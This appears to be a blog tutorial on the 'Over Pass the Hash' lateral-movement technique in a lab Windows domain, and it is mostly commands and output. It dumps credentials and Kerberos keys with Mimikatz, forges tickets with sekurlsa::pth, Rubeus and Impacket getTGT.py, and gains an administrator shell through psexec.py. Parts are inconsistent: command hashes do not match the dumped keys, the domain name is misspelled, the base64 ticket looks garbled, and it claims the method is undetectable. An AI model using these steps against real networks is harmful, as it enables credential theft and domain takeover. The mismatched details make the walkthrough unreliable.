

Lateral Movement: Over Pass the Hash

 hackingarticles.in/lateral-movement-over-pass-the-hash

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In this post, we're going to talk about Over Pass the hash that added another step in passing the hash. Pass the hash is an attack that allows an intruder to authenticate as a user without having access to the user's password. This is a technique where an attacker uses the NTLM hashes for authentication and bypass the standard authentication step clear text password for login, for more detail read from [here](#).

Over Pass the hash is a combination of passing the hash and passing the ticket, so it's called Over Pass the hash. Allows the creation of Kerberos tickets from NTLM hash or AES keys that allow access to the resource service that required Kerberos authentication.

In Kerberos authentication NTLM (RC4), AES128, AES256 key is used to encrypt the timestamp.

Required Tools

- Mimikatz
- Rubeus
- Impacket

Let's take a look!!!

Mimikatz

To perform over pass the ticket we are going to use mimikatz and Install it on the host machine and type the following command:

```
privilege::debug  
sekurlsa::ekeys
```

With the help of ekeys you will able to fetch all keys NTLM (RC4), AES128, AES256 key

```

.#####. mimikatz 2.2.0 (x64) #18362 May  2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #'  Vincent LE TOUX (vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug ↩
Privilege '20' OK

mimikatz # sekurlsa::ekeys ↩

Authentication Id : 0 ; 2679398 (00000000:0028e266)
Session           : CachedInteractive from 1
User Name         : Administrator
Domain            : IGNITE
Logon Server      : WIN-S0V7KMTVLD2
Logon Time        : 5/12/2020 12:18:10 PM
SID               : S-1-5-21-3523557010-2506964455-2614950430-500

* Username : Administrator
* Domain   : IGNITE.LOCAL
* Password : Ignite@987
* Key List :
  aes256_hmac      e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
  aes128_hmac      eae5c8006cd744446115d2eab39d9f8f
  rc4_hmac_nt     32196b56ffe6f45e294117b91a83bf38
  rc4_hmac_old    32196b56ffe6f45e294117b91a83bf38
  rc4_md4         32196b56ffe6f45e294117b91a83bf38
  rc4_hmac_nt_exp 32196b56ffe6f45e294117b91a83bf38
  rc4_hmac_old_exp 32196b56ffe6f45e294117b91a83bf38

Authentication Id : 0 ; 2373262 (00000000:0024368e)
Session           : NewCredentials from 0
User Name         : Administrator
Domain            : IGNITE
Logon Server      : (null)
Logon Time        : 5/12/2020 12:08:54 PM
SID               : S-1-5-21-3523557010-2506964455-2614950430-500

* Username : CZA3PTW1
* Domain   : W9WISAM8
* Password : D232Y7AD
* Key List :
  aes256_hmac      4b7e15e57fadbd6f03ea83991b4e82b3ed792a89142f1c33a744a6ef395ef375
  aes128_hmac      ef28dc6c43cd466ce62bdebba73f8109
  rc4_hmac_nt     539ad32a1c73adea2335d41b7a667fc4
  rc4_hmac_old    539ad32a1c73adea2335d41b7a667fc4
  rc4_md4         539ad32a1c73adea2335d41b7a667fc4
  rc4_hmac_nt_exp 539ad32a1c73adea2335d41b7a667fc4
  rc4_hmac_old_exp 539ad32a1c73adea2335d41b7a667fc4

```

So with the help of sekurlsa::pth command we try to use ase256 key or aes128 for Kerberos ticket, it is difficult to detect because it is the more common and secure key used in encryption.

```

sekurlsa::pth /user:Administrator /domain:ignite.local
/aes256:9c83452b5dcdca4b0bae7e89407c700bed3153c31dca06a8d7be29d98e13764c
sekurlsa::pth /user:Administrator /domain:ignite.local
/aes128:b5c9a38d8629e87f5da0a0ff2c67f84c

```

```

mimikatz # privilege::debug ↩
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrator /domain:ignite.local /aes256:e1182a9a34827cabac57a635ae47ce2b2
user      : Administrator
domain    : ignite.local
program   : cmd.exe
impers.   : no
AES256    : e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
| PID 6860
| TID 2712
| LSA Process is now R/W
| LUID 0 ; 3446363 (00000000:0034965b)
\ msv1_0 - data copy @ 000001DEFF8D2A80 : OK !
\ kerberos - data copy @ 000001DEFFC37E78
\ aes256_hmac OK
\ aes128_hmac -> null
\ rc4_hmac_nt -> null
\ rc4_hmac_old -> null
\ rc4_md4 -> null
\ rc4_hmac_nt_exp -> null
\ rc4_hmac_old_exp -> null
\ *Password replace @ 000001DE80237C38 (32) -> null

mimikatz # sekurlsa::pth /user:Administrator /domain:ignite.local /aes128:eae5c8006cd744446115d2eab39d9f8f
user      : Administrator
domain    : ignite.local
program   : cmd.exe
impers.   : no
AES128    : eae5c8006cd744446115d2eab39d9f8f
| PID 1196
| TID 5816
| LSA Process was already R/W
| LUID 0 ; 3544074 (00000000:0036140a)
\ msv1_0 - data copy @ 000001DEFF8D2A80 : OK !
\ kerberos - data copy @ 000001DEFFC389B8
\ aes256_hmac -> null
\ aes128_hmac OK
\ rc4_hmac_nt -> null
\ rc4_hmac_old -> null
\ rc4_md4 -> null
\ rc4_hmac_nt_exp -> null
\ rc4_hmac_old_exp -> null
\ *Password replace @ 000001DEFF867D78 (32) -> null

mimikatz #

```

If you will use NTLM (RC4), ASE128, ASE256 simultaneously for injecting into Kerberos ticket, this step is more secure and undetectable in the network.

```

sekurlsa::pth /user:Administrator /domain:igntie.local
/ntlm:a29f7623fd11550def0192de9246f46b /aes128:b5c9a38d8629e87f5da0a0ff2c67f84c
/aes256:9c83452b5dcdca4b0bae7e89407c700bed3153c31dca06a8d7be29d98e13764c
sekurlsa::pth /user:Administrator /domain:igntie.local
/ntlm:a29f7623fd11550def0192de9246f46b

```

```

mimikatz # sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:32196b56ffe6f45e294117b91a83bf38 /aes128:eae5c80
06cd744446115d2eab39d9f8f /aes256:e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
user : Administrator
domain : igntie.local
program : cmd.exe
impers. : no
AES128 : eae5c8006cd744446115d2eab39d9f8f
AES256 : e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7
NTLM : 32196b56ffe6f45e294117b91a83bf38
| PID 3016
| TID 6188
| LSA Process was already R/W
| LUID 0 ; 3739951 (00000000:0039112f)
\ msv1_0 - data copy @ 000001DEFF8D1C80 : OK !
\ kerberos - data copy @ 000001DEFFC38148
\ aes256_hmac OK
\ aes128_hmac OK
\ rc4_hmac_nt OK
\ rc4_hmac_old OK
\ rc4_md4 OK
\ rc4_hmac_nt_exp OK
\ rc4_hmac_old_exp OK
\ *Password replace @ 000001DEFF867D78 (32) -> null

mimikatz # sekurlsa::pth /user:Administrator /domain:igntie.local /ntlm:32196b56ffe6f45e294117b91a83bf38
user : Administrator
domain : igntie.local
program : cmd.exe
impers. : no
NTLM : 32196b56ffe6f45e294117b91a83bf38
| PID 1992
| TID 5176
| LSA Process was already R/W
| LUID 0 ; 3754470 (00000000:003949e6)
\ msv1_0 - data copy @ 000001DEFF8D1680 : OK !
\ kerberos - data copy @ 000001DEFFC37E78
\ aes256_hmac -> null
\ aes128_hmac -> null
\ rc4_hmac_nt OK
\ rc4_hmac_old OK
\ rc4_md4 OK
\ rc4_hmac_nt_exp OK
\ rc4_hmac_old_exp OK
\ *Password replace @ 000001DEFF867D78 (32) -> null

```

And once it will done you will be able to access the authorized resource as shown below.

```

C:\Windows\SYSTEM32\cmd.exe
Microsoft Windows [Version 10.0.18362.778]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
ignite\administrator

C:\Windows\system32>_

```

Rubeus.exe

As I have already mentioned in the previous article that this tool is awesome because it is easy to use and directly run on the local environment of the victim machine.

Download it from [here](#)

```

Rubeus.exe asktgt /domain:igntie.local /user:Administrator /rc4:
32196b56ffe6f45e294117b91a83bf38 /ptt

```

Using rc4 hash it will not only pass the hash infect pass the ticket and you will be able to access the resource.

```
dir \\WIN-S0V7KMTVLD2\c$
```

```
C:\Users\yashika\Desktop>Rubeus.exe asktgt /domain:ignite.local /user:Administrator /rc4:32196b56ffe6f45e294117b91a83bf38 /ptt

Rubeus
v1.5.0

[*] Action: Ask TGT
[*] Using rc4_hmac hash: 32196b56ffe6f45e294117b91a83bf38
[*] Building AS-REQ (w/ preauth) for: 'ignite.local\Administrator'
[*] TGT request successful!
[*] base64(ticket.kirbi):

doIFTDCCBUigAwIBBAEDAgEwoIEXDCCBFhhggRUMIEUKADAgEfoQ4bDElHTKlURSSMT0NBTKIhMB+g
AwIBAgEYMBYbBmtYnRndBSMaWduaXRlLmxyY2Fso4IEFDCCBBGAgwIBEqEDAgECooIEAgSCA/56AkWx
RmFIZu1U0ec2B4W0Gx2G2QaF7tz59ceG9RVQ9iDotjlyWx+vNgJuNH5yje+SnkCU5BM1GMvs8NqYkXm7
mGYnhXeTgbK/6g4cHMR0sDWA6x220g2eDFhATdBeLt6zi2INRDzynyGvI5n+xGTZU9JmKP8V08H8BTOA
gvqCHSRPFz6faXSxjXXuMSQCRw+DQ5kwnd8ArziBj4vb9sm4PU5nD/kxDO5nqk1zC3iNF1XP0pBI7/1
PTJFS62zLA4dBqaYJfYl03upSSwa/WFMBotEcZyzxQSMYoD9TU3mjEulaJ1q/Rq4xZk4RMzY6dj4u8Aj
HxBIZB0zOXI20mP+S4Hk0ytqLuiPbn/yFIQaKrqye1DLPH7zQ1pSXSJ64ATzJYr2HLSB2fSR1R7tZ1o8
/cnkJY0J1bHy5k3zz0CiRaU1ZCnJWcY3IJP0qNH10q2JZkzV2/eTUTIdhqixeP51AGVB+fVG7d3w3aDV
OYCAoHu/mBifw6L1XSS8GYBJViatmaskt0Jv6F5B57F8yW6aoK08yv050BFYU3n/jQiwPd22kGjUia7x
SSUzqvgC2u19IL1+iQ9Imcha3GMH0mqGDHjAd1XwT0hEU0FFZqgl1m6ezWPGHo9EvY5YzNMmDFUvGnr
b4cFCMM9sGvC7GtNHw85rm70MkdLxBod4rWcMWJ/HZyXYo3aab0Zx0RzTYPBX+7ov8Li0vOgvHzC1KKu
1jvFK7XvVrFCZY0ekU0wJMQ9ZgOIlbiU/Lcpc2W932PnPcWEi1mpJyWewYjwUPE2DKeZFL38ejB5yZHR
13lgK4YZ0/Ow3+MdhviF0bxbvAV94gLU1NxsxF0ac1qESkK98TsNV4tk4jYs2IP8mnTrcw1AKaasCH+h
kaNYG3nS+wNkrDdxYvof17zHhJacwN1x74FWxMSJU/DRA0PrEE9QorNKRVe6Av24gFhJWn3QrQeqaJ0M
kkYKqFOGiXUrWcmFsUJ/TAKA6Fk/HXX4litM4qzDmGeX6PcQNHqIt7sRb1MxNletwtjIWCanBzGwDLYG
1sv0L2mZb2snrvYrbrTX1eC4uyoRD5Wn/9k2HqBo5jVS/DUMR1HdC8UhwE0cnKg3FmF8jvJ78XfkTwcR
a4L2h9uqKiUxS+DrEUcxcvaMkxwKu839oF/iY6ZqYh7kZk09svhtN09Vye+D/90MnCHhVMTN7nVqM
fFohZKXKc5z/MBkRdP8DgfnDm/dLQ1FDEFZFU/5zQV6w5+frY++e55y163SHoowYHq+GBiE0n70fNZrL
/6lYrsSfQp5AnzyvJ7Xf/TQHEDfIavw1AfkMe745nzyiBUpAizk88c5gpgznDAyOPqe2F1do/ZhjQ0B
2zCB2KADAgEAooHQBIFHfYHKMIHhOIHMIHBMIG+oBswGaADAgEXoRIEEKLOMK1s9aEwM+kKuWuuZmh
DhsMSUd0S5VRF1kxPQ0fMohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIw
MDUxMjE5MTE5ZmVqMERGMjA5MDA1MTMwNTE5MzVapxEYDzIwMjA5NTE5MTkxMTM1WqGOGwXJR05JVEUu
TE9DQYpITAfoAMCAQKhGDAWGWZrcmJ0Z3QbDGLnbml0ZSS5b2NhbA==

[+] Ticket successfully imported!

ServiceName      : krbtgt/ignite.local
ServiceRealm     : IGNITE.LOCAL
UserName         : Administrator
UserRealm       : IGNITE.LOCAL
StartTime        : 5/12/2020 12:11:35 PM
EndTime          : 5/12/2020 10:11:35 PM
RenewTill        : 5/19/2020 12:11:35 PM
Flags            : name canonicalize, pre_authent, initial, renewable, forwardable
KeyType          : rc4_hmac
Base64(key)      : os4YqrWz1oTaZ6Qq5a65mQ==

C:\Users\yashika\Desktop>dir \\WIN-S0V7KMTVLD2\c$
Volume in drive \\WIN-S0V7KMTVLD2\c$ has no label.
Volume Serial Number is 1C84-81C0

Directory of \\WIN-S0V7KMTVLD2\c$

07/16/2016  06:23 AM  <DIR>          PerfLogs
04/15/2020  05:32 AM  <DIR>          Program Files
```

Impacket

I wish to execute this attack remotely then use impacket python script **gettgt.py** which will use a password, hash or aesKey, it will request a TGT and save it as ccache.

```
python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf38
ignite.local/Administrator
```

with the help of above command, you will be able to request Kerberos authorized ticket in the form of ccache whereas with the help of the following command you will be able to inject the ticket to access the resource.

```
export KRB5CCNAME=Administrator.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/Administrator@WIN-S0V7KMTVLD2.ignite.local
```

```
root@kali:~/impacket/examples# python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/Administrator
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Administrator.ccache
root@kali:~/impacket/examples# export KRB5CCNAME=Administrator.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/Administrator@WIN-S0V7KMTVLD2.ignite.local
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.1.105.....
[*] Found writable share ADMIN$
[*] Uploading file tPYCtnm.exe
[*] Opening SVCManager on 192.168.1.105.....
[*] Creating service EGug on 192.168.1.105.....
[*] Starting service EGug.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Conclusion: As you have seen, we try to use three different tools to conduct Over-Pass-The-Hash locally and remotely that not only pass the hash but also inject hash for Kerberos authentication to get the ticket.